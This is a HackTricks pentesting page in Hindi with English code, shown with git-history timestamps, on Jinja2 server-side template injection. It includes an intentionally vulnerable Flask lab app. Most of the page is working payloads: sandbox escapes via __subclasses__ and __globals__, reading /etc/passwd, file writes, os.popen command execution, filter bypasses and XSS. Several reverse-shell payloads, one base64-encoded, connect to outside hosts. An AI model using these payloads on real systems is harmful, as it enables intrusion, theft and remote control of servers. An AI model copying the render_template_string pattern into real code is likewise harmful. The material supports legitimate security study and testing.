hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

309 lines
19 KiB
Markdown
Raw Normal View History

2022-07-20 01:03:41 +00:00
# Jinja2 SSTI
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-07-20 01:03:41 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
2022-07-20 01:03:41 +00:00
</details>
## **Lab**
2022-07-20 01:03:41 +00:00
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
2023-11-06 08:38:02 +00:00
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
2022-07-20 01:03:41 +00:00
if __name__ == "__main__":
2023-11-06 08:38:02 +00:00
app.run()
2022-07-20 01:03:41 +00:00
```
2023-11-06 08:38:02 +00:00
## **विविध**
2022-07-20 01:03:41 +00:00
2023-11-06 08:38:02 +00:00
### **डीबग स्टेटमेंट**
2022-07-20 01:03:41 +00:00
यदि डीबग एक्सटेंशन सक्रिय है, तो एक `debug` टैग उपलब्ध होगा जो वर्तमान संदर्भ के साथ-साथ उपलब्ध फिल्टर्स और टेस्ट्स को डंप करने के लिए होगा। यह देखने के लिए उपयोगी है कि टेम्प्लेट में क्या उपयोग करने के लिए उपलब्ध है बिना डीबगर सेटअप किए।
2022-07-20 01:03:41 +00:00
```python
<pre>
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% debug %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
</pre>
```
2023-11-06 08:38:02 +00:00
### **सभी कॉन्फ़िग वेरिएबल्स को डंप करें**
2022-07-20 01:03:41 +00:00
```python
{{ config }} #In these object you can find all the configured env variables
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
2022-11-05 10:28:41 +00:00
{% for key, value in config.items() %}
2023-11-06 08:38:02 +00:00
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
2022-07-20 01:03:41 +00:00
{% endfor %}
{% endraw %}
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
```
## **Jinja इंजेक्शन**
2022-07-20 01:03:41 +00:00
सबसे पहले, Jinja इंजेक्शन में आपको **सैंडबॉक्स से बाहर निकलने का तरीका खोजना होता है** और सामान्य पायथन निष्पादन प्रवाह तक पुनः पहुँच प्राप्त करनी होती है। ऐसा करने के लिए, आपको **उन ऑब्जेक्ट्स का दुरुपयोग करना होता है** जो **नॉन-सैंडबॉक्स्ड वातावरण से होते हैं लेकिन सैंडबॉक्स से सुलभ होते हैं**
2022-07-20 01:03:41 +00:00
### ग्लोबल ऑब्जेक्ट्स तक पहुँच
2022-07-20 01:03:41 +00:00
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में ऑब्जेक्ट्स username और email **नॉन-सैंडबॉक्स्ड पायथन वातावरण से आते हैं** और **सैंडबॉक्स्ड वातावरण के अंदर सुलभ होंगे**।\
\*\*\*\*इसके अलावा, अन्य ऑब्जेक्ट्स भी होते हैं जो **सैंडबॉक्स्ड वातावरण से हमेशा सुलभ होंगे**, ये हैं:
2022-07-20 01:03:41 +00:00
```
[]
''
()
dict
config
request
```
### \<class 'object'> की पुनर्प्राप्ति
2022-07-20 01:03:41 +00:00
फिर, इन ऑब्जेक्ट्स से हमें **`<class 'object'>`** तक पहुंचना होता है ताकि परिभाषित **क्लासेस** की **पुनर्प्राप्ति** करने का प्रयास कर सकें। इसलिए क्योंकि इस ऑब्जेक्ट से हम **`__subclasses__`** मेथड को कॉल कर सकते हैं और **नॉन-सैंडबॉक्स्ड** पायथन एन्वायरनमेंट से सभी क्लासेस तक **पहुंच** सकते हैं।
2022-07-20 01:03:41 +00:00
उस **ऑब्जेक्ट क्लास** तक पहुंचने के लिए, आपको एक **क्लास ऑब्जेक्ट** तक **पहुंचना** होगा और फिर **`__base__`**, **`__mro__()`[-1]** या `.`**`mro()[-1]`** तक पहुंचना होगा। और फिर, इस **ऑब्जेक्ट क्लास** तक पहुंचने के **बाद** हम **`__subclasses__()`** को **कॉल** करते हैं।
2022-07-20 01:03:41 +00:00
इन उदाहरणों को देखें:
2022-07-20 01:03:41 +00:00
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
2023-11-06 08:38:02 +00:00
# From a class to access the class "object".
2022-07-20 01:03:41 +00:00
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
2023-11-06 08:38:02 +00:00
### RCE एस्केपिंग
2022-07-20 01:03:41 +00:00
**पुनः प्राप्त करने के बाद** `<class 'object'>` और `__subclasses__` को कॉल करने के बाद, हम अब उन क्लासेस का उपयोग करके फाइलें पढ़ और लिख सकते हैं और कोड निष्पादित कर सकते हैं।
2022-07-20 01:03:41 +00:00
`__subclasses__` को कॉल करने से हमें **सैकड़ों नए फंक्शन्स तक पहुंचने का अवसर मिला है**, हम **फाइल क्लास तक पहुंचकर** फाइलों को **पढ़ने/लिखने** के लिए या किसी भी क्लास तक पहुंचकर खुश होंगे जो कमांड्स निष्पादित करने की अनुमति देता है (जैसे `os`).
2022-07-20 01:03:41 +00:00
**रिमोट फाइल पढ़ना/लिखना**
2022-07-20 01:03:41 +00:00
```python
2022-11-05 10:28:41 +00:00
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
2022-07-20 01:03:41 +00:00
```
**RCE**
2022-07-20 01:03:41 +00:00
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
2022-09-09 11:57:02 +00:00
2022-12-09 14:47:58 +00:00
2022-07-20 01:03:41 +00:00
```
आप **और अधिक कक्षाओं** के बारे में जानने के लिए जिनका उपयोग आप **बचने** के लिए कर सकते हैं, आप **जांच** सकते हैं:
2022-07-20 01:03:41 +00:00
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### फिल्टर बायपास
2022-07-20 01:03:41 +00:00
#### सामान्य बायपास
2022-07-20 01:03:41 +00:00
ये बायपास हमें कुछ वर्णों का उपयोग किए बिना ऑब्जेक्ट्स के **गुणों** तक **पहुंच** प्रदान करेंगे।\
हम पहले ही इन बायपासों में से कुछ को पिछले उदाहरणों में देख चुके हैं, लेकिन आइए उन्हें यहां संक्षेप में बताते हैं:
2022-07-20 01:03:41 +00:00
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
2022-12-09 14:47:58 +00:00
2023-03-05 22:20:47 +00:00
2022-07-20 01:03:41 +00:00
```
* [**अधिक विकल्पों के लिए यहां वापस आएं जो एक ग्लोबल ऑब्जेक्ट तक पहुंचने के लिए हैं**](jinja2-ssti.md#accessing-global-objects)
* [**ऑब्जेक्ट क्लास तक पहुंचने के लिए अधिक विकल्पों के लिए यहां वापस आएं**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**RCE प्राप्त करने के लिए यह पढ़ें बिना ऑब्जेक्ट क्लास के**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
2022-07-20 01:03:41 +00:00
**HTML एन्कोडिंग से बचना**
2022-07-20 01:03:41 +00:00
डिफ़ॉल्ट रूप से Flask सुरक्षा कारणों से टेम्प्लेट के अंदर सभी को HTML एन्कोड करता है:
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** फ़िल्टर हमें JavaScript और HTML को पेज में इंजेक्ट करने की अनुमति देता है **बिना** इसे **HTML encoded** किए, इस प्रकार:
2022-07-20 01:03:41 +00:00
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**एक दुष्ट कॉन्फ़िग फ़ाइल लिखकर RCE.**
2022-07-20 01:03:41 +00:00
```python
# evil config
2023-11-06 08:38:02 +00:00
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
2022-07-20 01:03:41 +00:00
# load the evil config
2023-11-06 08:38:02 +00:00
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
2022-07-20 01:03:41 +00:00
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## कई वर्णों के बिना
2022-07-20 01:03:41 +00:00
2023-11-06 08:38:02 +00:00
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** के बिना
2023-02-23 14:32:10 +00:00
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
2023-03-05 22:20:47 +00:00
2023-02-23 14:32:10 +00:00
```
## Jinja इंजेक्शन बिना **\<class 'object'>**
2023-02-23 14:32:10 +00:00
[**ग्लोबल ऑब्जेक्ट्स**](jinja2-ssti.md#accessing-global-objects) से एक और तरीका है **RCE तक पहुँचने का उस क्लास का उपयोग किए बिना।**\
यदि आप उन ग्लोबल ऑब्जेक्ट्स में से किसी भी **फंक्शन** तक पहुँचने में सफल होते हैं, तो आप **`__globals__.__builtins__`** तक पहुँच सकते हैं और वहाँ से **RCE** बहुत **सरल** है।
2022-07-20 01:03:41 +00:00
आप **फंक्शन्स ढूँढ सकते हैं** ऑब्जेक्ट्स **`request`**, **`config`** और किसी भी **अन्य** दिलचस्प **ग्लोबल ऑब्जेक्ट** से जिस तक आपकी पहुँच हो:
2022-07-20 01:03:41 +00:00
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
एक बार जब आप कुछ functions पा लेते हैं, तो आप builtins को इसके साथ पुनः प्राप्त कर सकते हैं:
2022-07-20 01:03:41 +00:00
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
2022-09-09 11:57:02 +00:00
2022-07-20 01:03:41 +00:00
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
2023-11-06 08:38:02 +00:00
## संदर्भ
2022-07-20 01:03:41 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* ब्लैकलिस्टेड चार्स को बायपास करने के लिए [attr trick यहाँ देखें](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
2022-07-20 01:03:41 +00:00
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-07-20 01:03:41 +00:00
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
2022-07-20 01:03:41 +00:00
</details>